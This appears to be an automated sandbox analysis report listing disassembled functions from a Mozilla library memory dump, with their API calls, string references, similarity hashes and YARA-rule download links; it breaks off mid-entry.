Instruction Fuzzy Hash: 4241357190C7459FC341DF28C480A8EBBE5BF89354F409A2EF49987651EB30EA49CB86

Function 6C5E9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
__Init_thread_footer.LIBCMT ref: 6C5E949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5E947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5E9459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5E946B

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 289ca0ae295a1d3219f54df93742441ce228b5671d617e7840185ce4a8ec480a
Instruction ID: 0081f0393451ff0e005ba07dd94fe2a75616aa04fe90c0196bb49f527cd3ec27
Opcode Fuzzy Hash: 289ca0ae295a1d3219f54df93742441ce228b5671d617e7840185ce4a8ec480a
Instruction Fuzzy Hash: EA012430A0021197E7009B6EDC80A8A33B5AF4A329F040536ED0AC6F42E67BE8558D5F

Function 6C5F0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5F0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5F0F88
GetCurrentThreadId.KERNEL32 ref: 6C5F0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C5F1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C5F10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C5F114B

Part of subcall function 6C5E8AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C601563), ref: 6C5E8BD5

free.MOZGLUE(?), ref: 6C5F1174
free.MOZGLUE(?), ref: 6C5F1186

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 441e54d5f1ba146d7dba0d672967579636dd037b5972535edb80b6b7507001c5
Instruction ID: 5dc4cd5d72cd9a2c8126551d804169add4fd2bfe7fd077f56d23809184040024
Opcode Fuzzy Hash: 441e54d5f1ba146d7dba0d672967579636dd037b5972535edb80b6b7507001c5
Instruction Fuzzy Hash: 96618B75A043449BDB14DF25CC80B9AB7F6AFC5308F04891DE8A957712EB71E84ACF86

Function 6C5AB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB6AC

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C5AB61E), ref: 6C5AB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB79A

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 86040440a6b5a666add629f8f4769de8ca988bcfd99eaa29ce1d05a203c244f9
Instruction ID: 0eaa3da87508b8389fc69d7f1b5e92b83b5973571bb3e035c648cbd8645011f0
Opcode Fuzzy Hash: 86040440a6b5a666add629f8f4769de8ca988bcfd99eaa29ce1d05a203c244f9
Instruction Fuzzy Hash: 7D41D4B2D001199FCB00EFA9DC805AEB7B5FB85324F250629E825E7790E771AD0587D1

Function 6C5AEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C625104), ref: 6C5AEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5AEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5AEFEC
free.MOZGLUE(?), ref: 6C5AF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5AF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C5AF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5AF065
moz_xmalloc.MOZGLUE ref: 6C5AF072

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 1d62eb0138c295c29f35ef9a7b886493b4a41a722277b0f439d18e8761789a9b
Instruction ID: 40e24d2299668908c9ad9781d47e5ab1231a25cd0dc0f9df77825805024323f8
Opcode Fuzzy Hash: 1d62eb0138c295c29f35ef9a7b886493b4a41a722277b0f439d18e8761789a9b
Instruction Fuzzy Hash: 4141F4B1A002059FCB08CFA9DC809AE7765FF89324B240728E916DB794EB71E915C7E5

Function 6C61B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C61B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C61B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C61B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C61B5F4
__Init_thread_footer.LIBCMT ref: 6C61B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C61B61F
std::_Facet_Register.LIBCPMT ref: 6C61B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61B655

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: f2ec8b70b07684d4cf0f0aab25e2cf4280ae7eefacb04037f4dbbeb477f763e5
Instruction ID: 1f71f04cfe6d1d077e6d6df7f400f5cb3e6d9534b9819a13942ab196e849e7cb
Opcode Fuzzy Hash: f2ec8b70b07684d4cf0f0aab25e2cf4280ae7eefacb04037f4dbbeb477f763e5
Instruction Fuzzy Hash: 11318471B00214CBCB10DF6AC8949EEB7F5EBCA325F150929D90697740DB38A806CF9A

Function 6C5E6590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DFA80: GetCurrentThreadId.KERNEL32 ref: 6C5DFA8D
Part of subcall function 6C5DFA80: AcquireSRWLockExclusive.KERNEL32(6C62F448), ref: 6C5DFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5E6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C5E67C8

Part of subcall function 6C5F4290: memcpy.VCRUNTIME140(?,?,6C602003,6C600AD9,?,6C600AD9,00000000,?,6C600AD9,?,00000004,?,6C601A62,?,6C602003,?), ref: 6C5F42C4

Strings

data, xrefs: 6C5E6593
vbl, xrefs: 6C5E696C

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vbl
API String ID: 511789754-1095404901
Opcode ID: 369c71a260fe7e67a1b24390b5a4041e21f86be7599bc09608e447d5c260b9fa
Instruction ID: 76854d40968107d371606e8cdc04344036de73bd22231d81875b052ce1f557d6
Opcode Fuzzy Hash: 369c71a260fe7e67a1b24390b5a4041e21f86be7599bc09608e447d5c260b9fa
Instruction Fuzzy Hash: 40D1CE75A08340CFD724DF29C851B9FB7E6AFC9348F10492DE59997B91EB30A809CB52

Function 6C5DD5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C5AEB57,?,?,?,?,?,?,?,?,?), ref: 6C5DD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C5AEB57,?), ref: 6C5DD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C5AEB57,?), ref: 6C5DD673
free.MOZGLUE(?), ref: 6C5DD888

Strings

WZl, xrefs: 6C5DD5D9, 6C5DD63F
|Enabled, xrefs: 6C5DD81E

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: WZl$|Enabled
API String ID: 4142949111-2253591229
Opcode ID: 0c7a8bfe7889f99ca0d2cb1a05a9465906010ae34b1be3c1af2b93e896d3b131
Instruction ID: 94e8c673f1f9dabd18c86c782d384f36b3bf29acdf5d5246b29ac01ef2c475ae
Opcode Fuzzy Hash: 0c7a8bfe7889f99ca0d2cb1a05a9465906010ae34b1be3c1af2b93e896d3b131
Instruction Fuzzy Hash: 06A1F0B0A00308DFDB11CF69C8D0BAEBBF1AF49318F15845CD889AB741D735A885CBA5

Function 6C5B9830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C607ABE), ref: 6C5B985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C607ABE), ref: 6C5B98A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C5B9909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C5B9918
free.MOZGLUE(?), ref: 6C5B9975

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 622a4ea26003a80f42b014b8886c3a7e4cc40e449d61d54aad99a273921a4c03
Instruction ID: 469420df23db0b9212d9f96705172712adc20f024d0b52309ba8852e08e07149
Opcode Fuzzy Hash: 622a4ea26003a80f42b014b8886c3a7e4cc40e449d61d54aad99a273921a4c03
Instruction Fuzzy Hash: 3571AC74604705CFC764CF28C890956BBF1FF9A324B644AADE85AABB90D731F801CB91

Function 6C5BB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C5FCC83,?,?,?,?,?,?,?,?,?,6C5FBCAE,?,?,6C5EDC2C), ref: 6C5BB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C5FCC83,?,?,?,?,?,?,?,?,?,6C5FBCAE,?,?,6C5EDC2C), ref: 6C5BB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C5FCC83,?,?,?,?,?,?,?,?,?,6C5FBCAE), ref: 6C5BB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C5FCC83,?,?,?,?,?,?,?,?,?,6C5FBCAE,?,?,6C5EDC2C), ref: 6C5BB896

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: cc6d24819878ee20c90571fa62423529633b9c5435fc50a6c527d456511455c8
Instruction ID: 26ea383a1718e6e667ebf041aaf31586e61323391111957d0eb3aa9395f32642
Opcode Fuzzy Hash: cc6d24819878ee20c90571fa62423529633b9c5435fc50a6c527d456511455c8
Instruction Fuzzy Hash: 83519A357006008FCB24DF59C9E4A6ABBF5FF89318B69895DE98AA7351C771EC01CB84

Function 6C5F1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5F1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C5F1BE3,?,?,6C5F1D96,00000000), ref: 6C5F1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C5F1BE3,?,?,6C5F1D96,00000000), ref: 6C5F1D4C
GetCurrentThreadId.KERNEL32 ref: 6C5F1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5F1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5F1DDA

Part of subcall function 6C5F1EF0: GetCurrentThreadId.KERNEL32 ref: 6C5F1F03
Part of subcall function 6C5F1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C5F1DF2,00000000,00000000), ref: 6C5F1F0C
Part of subcall function 6C5F1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C5F1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C5F1DF4

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: b6d7287b3a40ddc3ce9e4fc848ef94815a84db91f4ef79f460e7ce6af70260b7
Instruction ID: 9a471be08b50e03592e8f6c06e79911b50f8685a6c83a424bdf97b2465dc7a99
Opcode Fuzzy Hash: b6d7287b3a40ddc3ce9e4fc848ef94815a84db91f4ef79f460e7ce6af70260b7
Instruction Fuzzy Hash: 704159B52007009FCB14DF29C888A56BBF9FB89354F10442DE99A87B41CB75F855CBA5

Function 6C5E84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E85AC

Part of subcall function 6C5E7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5E85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E767F
Part of subcall function 6C5E7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5E85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E7693
Part of subcall function 6C5E7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5E85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E85B2

Part of subcall function 6C5C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
Part of subcall function 6C5C5E90: memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
Part of subcall function 6C5C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 3618939d2246d539879c1c169ea646ce8a789ed37bdf003004a6aa54b5a21095
Instruction ID: b652a571e6f515641b9c497483492db018b07d393e4d3211ba346c22e8bc3285
Opcode Fuzzy Hash: 3618939d2246d539879c1c169ea646ce8a789ed37bdf003004a6aa54b5a21095
Instruction Fuzzy Hash: 61218375200601AFEB14DB29CC88A5AB7B5AF8830CF14482DE55BC3B42DB35F948CB96

Function 6C5B1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C5B1699
VerSetConditionMask.NTDLL ref: 6C5B16CB
VerSetConditionMask.NTDLL ref: 6C5B16D7
VerSetConditionMask.NTDLL ref: 6C5B16DE
VerSetConditionMask.NTDLL ref: 6C5B16E5
VerSetConditionMask.NTDLL ref: 6C5B16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5B16F9

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: b6f42de132c7c570b1acc8af22459d86b432da717e7c0a9fdf9f8d92dba5dab6
Instruction ID: d7b8fea4e3683e935f6ab4b0026390d715965b0081423ffdbe60eb39ebaa007a
Opcode Fuzzy Hash: b6f42de132c7c570b1acc8af22459d86b432da717e7c0a9fdf9f8d92dba5dab6
Instruction Fuzzy Hash: 9321E4B07442086BEB116E69CC85FFBB77CEFC6704F004528F645AB5C0C6799D548BA5

Function 6C5EF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C5EF598), ref: 6C5EF621

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

GetCurrentThreadId.KERNEL32 ref: 6C5EF637
AcquireSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000,?,6C5EF598), ref: 6C5EF645
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000,?,6C5EF598), ref: 6C5EF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C5EF62A

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 69fbacff4da7f0a93362dcaa94a33f23be06b897f07cb4d8d1ce540091deff6d
Instruction ID: d740527415803baead367260ccc54a38db26fffedb8bb9903df7e10db01e0423
Opcode Fuzzy Hash: 69fbacff4da7f0a93362dcaa94a33f23be06b897f07cb4d8d1ce540091deff6d
Instruction Fuzzy Hash: 7611C471201204EBCB04AF1ADC849D57779FFCA768F500416EA0687F42CB79AC11CFA9

Function 6C5B2070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

